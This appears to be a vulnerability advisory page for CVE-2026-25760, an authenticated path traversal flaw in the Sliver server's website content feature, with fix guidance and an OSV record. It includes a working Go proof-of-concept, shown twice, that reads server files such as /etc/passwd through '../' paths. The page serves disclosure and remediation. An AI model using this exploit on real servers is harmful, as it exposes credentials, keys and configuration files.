CVE-2026-25760: Github.com/bishopfox/sliver Path Traversal Vulnerability

MODERATE
Advisory Identifier: GHSA-2286-hxv5-cmp2
CVSS 6.5
CWE-22
Published
Advisory Summary

CVE-2026-25760 is a MODERATE (CVSS 6.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Github.com/bishopfox/sliver libraries in the Go ecosystem. The issue involves sliver vulnerable to website path traversal / arbitrary file read (authenticated). Remediation is available by upgrading affected packages to version 1.6.11.

CVE-2026-25760 at a Glance

CVE Identifier CVE-2026-25760
GHSA Identifier GHSA-2286-hxv5-cmp2
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Github.com/bishopfox/sliver
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-25760

To remediate this vulnerability, upgrade all affected Github.com/bishopfox/sliver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/bishopfox/sliver fixed: 1.6.11
Upgrade github.com/bishopfox/sliver to 1.6.11
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/bishopfox/sliver

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-25760, inspect your project dependencies for Github.com/bishopfox/sliver:

inspect dependencies for github.com/bishopfox/sliver

Analyze the terminal output to locate any version of Github.com/bishopfox/sliver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.11), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Github.com/bishopfox/sliver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A Path Traversal vulnerability in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated **Path Traversal / arbitrary file read** issue, and it can expose credentials, configs, and keys. ## Affected Component - Website content management (gRPC): `WebsiteAddContent`, `Website`, `Websites` - Server-side file read in `Website.ToProtobuf` ## Impact - **Arbitrary file read** as the Sliver server OS user. - Exposure of sensitive data such as operator configs, TLS keys, tokens, and logs. ## Root Cause The server accepts and persists arbitrary website paths from the operator, then later reads from disk using that path without sanitization or containment. ## Vulnerable Code References - `server/rpc/rpc-website.go:100` — accepts `content.Path` from operator RPC and persists it via `website.AddContent` - `server/db/models/website.go:52` — reads from disk with `filepath.Join(webContentDir, webcontent.Path)` without validating or constraining `webcontent.Path` ## Proof of Concept (PoC) ### Steps (local test) 1. Build the server: ```bash go build -mod=vendor -tags go_sqlite,server -o sliver-server ./server ``` 2. Create an operator config (permission `all` for website operations): ```bash ./sliver-server operator -n testop -l 127.0.0.1 -p 31337 -P all -o file -s /tmp ``` 3. Start the daemon: ```bash ./sliver-server daemon -l 127.0.0.1 -p 31337 ``` 4. Run the PoC: ```bash GOFLAGS=-mod=vendor go run ./poc/website_path_traversal.go -config /tmp/testop_127.0.0.1.cfg -website poc-site -target /etc/hosts ``` ### PoC Code ```go package main import ( "context" "flag" "fmt" "os" "path/filepath" "runtime" "strings" "time" "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/protobuf/clientpb" ) func main() { var ( configPath string websiteName string targetPath string webPath string maxBytes int ) flag.StringVar(&configPath, "config", "", "path to sliver client config (.cfg)") flag.StringVar(&websiteName, "website", "poc-site", "website name to use/create") flag.StringVar(&targetPath, "target", "", "absolute server file path to read") flag.StringVar(&webPath, "web-path", "", "override web path (defaults to traversal into target)") flag.IntVar(&maxBytes, "max-bytes", 1024, "max bytes of leaked content to print") flag.Parse() if targetPath == "" { if runtime.GOOS == "windows" { targetPath = `C:\\Windows\\System32\\drivers\\etc\\hosts` } else { targetPath = "/etc/passwd" } } if webPath == "" { trimmed := strings.TrimPrefix(targetPath, string(filepath.Separator)) webPath = "../../../../../../../../" + trimmed } config, err := loadConfig(configPath) if err != nil { fatalf("config error: %v", err) } rpc, conn, err := transport.MTLSConnect(config) if err != nil { fatalf("connect error: %v", err) } defer conn.Close() ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) defer cancel() _, err = rpc.WebsiteAddContent(ctx, &clientpb.WebsiteAddContent{ Name: websiteName, Contents: map[string]*clientpb.WebContent{ webPath: { Path: webPath, ContentType: "text/plain", Content: []byte("poc"), }, }, }) if err != nil { fatalf("WebsiteAddContent failed: %v", err) } resp, err := rpc.Website(ctx, &clientpb.Website{Name: websiteName}) if err != nil { fatalf("Website failed: %v", err) } var leaked *clientpb.WebContent for _, c := range resp.Contents { if c.Path == webPath { leaked = c break } } if leaked == nil { fatalf("did not find content for path %q", webPath) } data := leaked.Content if len(data) > maxBytes { data = data[:maxBytes] } fmt.Printf("[+] target: %s\n", targetPath) fmt.Printf("[+] web-path: %s\n", webPath) fmt.Printf("[+] leaked bytes: %d\n", len(leaked.Content)) fmt.Printf("[+] preview:\n%s\n", string(data)) } func loadConfig(path string) (*assets.ClientConfig, error) { if path != "" { return assets.ReadConfig(path) } configs := assets.GetConfigs() if len(configs) == 0 { return nil, fmt.Errorf("no configs found; use -config") } if len(configs) > 1 { return nil, fmt.Errorf("multiple configs found; use -config") } for _, c := range configs { return c, nil } return nil, fmt.Errorf("unexpected config error") } func fatalf(format string, args ...any) { fmt.Fprintf(os.Stderr, format+"\n", args...) os.Exit(1) } ``` ### Expected Output (example) ``` [+] target: /etc/hosts [+] web-path: ../../../../../../../../etc/hosts [+] leaked bytes: 409 [+] preview: 127.0.0.1 localhost ... ``` ## Evidence (Screenshots) <img width="930" height="649" alt="path-traversal-poc" src="https://github.com/user-attachments/assets/53d18a4b-9da9-49db-b7c4-cf1fefe760fe" /> ## Why It Works - `WebsiteAddContent` accepts a path like `../../../../etc/hosts` and stores it. - `Website` returns content by calling `Website.ToProtobuf`, which reads from disk using the stored `Path` value. - `filepath.Join` does not prevent traversal, so the server reads from outside the web directory. ## Recommended Fix - Validate and reject paths that are absolute or contain `..` in `WebsiteAddContent` (server side). - Canonicalize paths and enforce they remain within the web content directory. - Avoid reading content by `Path` in `Website.ToProtobuf`; read by content ID instead. ## Notes - This issue requires an authenticated operator account with sufficient permissions (`PermissionAll`). - The PoC demonstrates reading `/etc/hosts` but can target any readable server file.

CVE-2026-25760 Affected Github.com/bishopfox/sliver Versions

1 component(s)
Fixed Versions:
1.6.11
Product / Package Ecosystem Affected Versions Fixed Version
github.com/bishopfox/sliver
Go
< 1.6.11
1.6.11

References

Frequently Asked Questions

What is CVE-2026-25760?
CVE-2026-25760 is a security vulnerability in Github.com/bishopfox/sliver involving Sliver Vulnerable to Website Path Traversal / Arbitrary File Read (Authenticated) under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Github.com/bishopfox/sliver versions are affected?
Affected versions include releases prior to 1.6.11 across affected packages: github.com/bishopfox/sliver.
What version fixes CVE-2026-25760?
Upgrading to 1.6.11 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/bishopfox/sliver affected?
Yes, github.com/bishopfox/sliver is affected in releases prior to 1.6.11. Upgrade your dependency to 1.6.11 or later.
What is the CVSS score of CVE-2026-25760?
CVE-2026-25760 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-25760?
CVE-2026-25760 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2026-25760?
Run the dependency tree command: 'inspect dependencies for github.com/bishopfox/sliver'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2286-hxv5-cmp2",
  "modified" : "2026-02-07T00:32:08Z",
  "published" : "2026-02-05T21:57:14Z",
  "aliases" : [ "CVE-2026-25760" ],
  "summary" : "Sliver Vulnerable to Website Path Traversal / Arbitrary File Read (Authenticated)",
  "details" : "## Summary\nA Path Traversal vulnerability in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated **Path Traversal / arbitrary file read** issue, and it can expose credentials, configs, and keys.\n\n## Affected Component\n- Website content management (gRPC): `WebsiteAddContent`, `Website`, `Websites`\n- Server-side file read in `Website.ToProtobuf`\n\n## Impact\n- **Arbitrary file read** as the Sliver server OS user.\n- Exposure of sensitive data such as operator configs, TLS keys, tokens, and logs.\n\n## Root Cause\nThe server accepts and persists arbitrary website paths from the operator, then later reads from disk using that path without sanitization or containment.\n\n## Vulnerable Code References\n- `server/rpc/rpc-website.go:100` — accepts `content.Path` from operator RPC and persists it via `website.AddContent`\n- `server/db/models/website.go:52` — reads from disk with `filepath.Join(webContentDir, webcontent.Path)` without validating or constraining `webcontent.Path`\n\n## Proof of Concept (PoC)\n\n### Steps (local test)\n1. Build the server:\n   ```bash\n   go build -mod=vendor -tags go_sqlite,server -o sliver-server ./server\n   ```\n2. Create an operator config (permission `all` for website operations):\n   ```bash\n   ./sliver-server operator -n testop -l 127.0.0.1 -p 31337 -P all -o file -s /tmp\n   ```\n3. Start the daemon:\n   ```bash\n   ./sliver-server daemon -l 127.0.0.1 -p 31337\n   ```\n4. Run the PoC:\n   ```bash\n   GOFLAGS=-mod=vendor go run ./poc/website_path_traversal.go -config /tmp/testop_127.0.0.1.cfg -website poc-site -target /etc/hosts\n   ```\n\n\n### PoC Code\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/bishopfox/sliver/client/assets\"\n\t\"github.com/bishopfox/sliver/client/transport\"\n\t\"github.com/bishopfox/sliver/protobuf/clientpb\"\n)\n\nfunc main() {\n\tvar (\n\t\tconfigPath  string\n\t\twebsiteName string\n\t\ttargetPath  string\n\t\twebPath     string\n\t\tmaxBytes    int\n\t)\n\tflag.StringVar(&configPath, \"config\", \"\", \"path to sliver client config (.cfg)\")\n\tflag.StringVar(&websiteName, \"website\", \"poc-site\", \"website name to use/create\")\n\tflag.StringVar(&targetPath, \"target\", \"\", \"absolute server file path to read\")\n\tflag.StringVar(&webPath, \"web-path\", \"\", \"override web path (defaults to traversal into target)\")\n\tflag.IntVar(&maxBytes, \"max-bytes\", 1024, \"max bytes of leaked content to print\")\n\tflag.Parse()\n\n\tif targetPath == \"\" {\n\t\tif runtime.GOOS == \"windows\" {\n\t\t\ttargetPath = `C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts`\n\t\t} else {\n\t\t\ttargetPath = \"/etc/passwd\"\n\t\t}\n\t}\n\n\tif webPath == \"\" {\n\t\ttrimmed := strings.TrimPrefix(targetPath, string(filepath.Separator))\n\t\twebPath = \"../../../../../../../../\" + trimmed\n\t}\n\n\tconfig, err := loadConfig(configPath)\n\tif err != nil {\n\t\tfatalf(\"config error: %v\", err)\n\t}\n\n\trpc, conn, err := transport.MTLSConnect(config)\n\tif err != nil {\n\t\tfatalf(\"connect error: %v\", err)\n\t}\n\tdefer conn.Close()\n\n\tctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)\n\tdefer cancel()\n\n\t_, err = rpc.WebsiteAddContent(ctx, &clientpb.WebsiteAddContent{\n\t\tName: websiteName,\n\t\tContents: map[string]*clientpb.WebContent{\n\t\t\twebPath: {\n\t\t\t\tPath:        webPath,\n\t\t\t\tContentType: \"text/plain\",\n\t\t\t\tContent:     []byte(\"poc\"),\n\t\t\t},\n\t\t},\n\t})\n\tif err != nil {\n\t\tfatalf(\"WebsiteAddContent failed: %v\", err)\n\t}\n\n\tresp, err := rpc.Website(ctx, &clientpb.Website{Name: websiteName})\n\tif err != nil {\n\t\tfatalf(\"Website failed: %v\", err)\n\t}\n\n\tvar leaked *clientpb.WebContent\n\tfor _, c := range resp.Contents {\n\t\tif c.Path == webPath {\n\t\t\tleaked = c\n\t\t\tbreak\n\t\t}\n\t}\n\tif leaked == nil {\n\t\tfatalf(\"did not find content for path %q\", webPath)\n\t}\n\n\tdata := leaked.Content\n\tif len(data) > maxBytes {\n\t\tdata = data[:maxBytes]\n\t}\n\n\tfmt.Printf(\"[+] target: %s\\n\", targetPath)\n\tfmt.Printf(\"[+] web-path: %s\\n\", webPath)\n\tfmt.Printf(\"[+] leaked bytes: %d\\n\", len(leaked.Content))\n\tfmt.Printf(\"[+] preview:\\n%s\\n\", string(data))\n}\n\nfunc loadConfig(path string) (*assets.ClientConfig, error) {\n\tif path != \"\" {\n\t\treturn assets.ReadConfig(path)\n\t}\n\tconfigs := assets.GetConfigs()\n\tif len(configs) == 0 {\n\t\treturn nil, fmt.Errorf(\"no configs found; use -config\")\n\t}\n\tif len(configs) > 1 {\n\t\treturn nil, fmt.Errorf(\"multiple configs found; use -config\")\n\t}\n\tfor _, c := range configs {\n\t\treturn c, nil\n\t}\n\treturn nil, fmt.Errorf(\"unexpected config error\")\n}\n\nfunc fatalf(format string, args ...any) {\n\tfmt.Fprintf(os.Stderr, format+\"\\n\", args...)\n\tos.Exit(1)\n}\n```\n\n### Expected Output (example)\n```\n[+] target: /etc/hosts\n[+] web-path: ../../../../../../../../etc/hosts\n[+] leaked bytes: 409\n[+] preview:\n127.0.0.1\tlocalhost\n...\n```\n\n## Evidence (Screenshots)\n<img width=\"930\" height=\"649\" alt=\"path-traversal-poc\" src=\"https://github.com/user-attachments/assets/53d18a4b-9da9-49db-b7c4-cf1fefe760fe\" />\n\n## Why It Works\n- `WebsiteAddContent` accepts a path like `../../../../etc/hosts` and stores it.\n- `Website` returns content by calling `Website.ToProtobuf`, which reads from disk using the stored `Path` value.\n- `filepath.Join` does not prevent traversal, so the server reads from outside the web directory.\n\n## Recommended Fix\n- Validate and reject paths that are absolute or contain `..` in `WebsiteAddContent` (server side).\n- Canonicalize paths and enforce they remain within the web content directory.\n- Avoid reading content by `Path` in `Website.ToProtobuf`; read by content ID instead.\n\n## Notes\n- This issue requires an authenticated operator account with sufficient permissions (`PermissionAll`).\n- The PoC demonstrates reading `/etc/hosts` but can target any readable server file.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/bishopfox/sliver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.11"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.6.10"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/BishopFox/sliver/security/advisories/GHSA-2286-hxv5-cmp2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25760"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/BishopFox/sliver/commit/818127349ccec812876693c4ca74ebf4350ec6b7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/BishopFox/sliver"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-05T21:57:14Z",
    "nvd_published_at" : "2026-02-06T22:16:12Z"
  }
}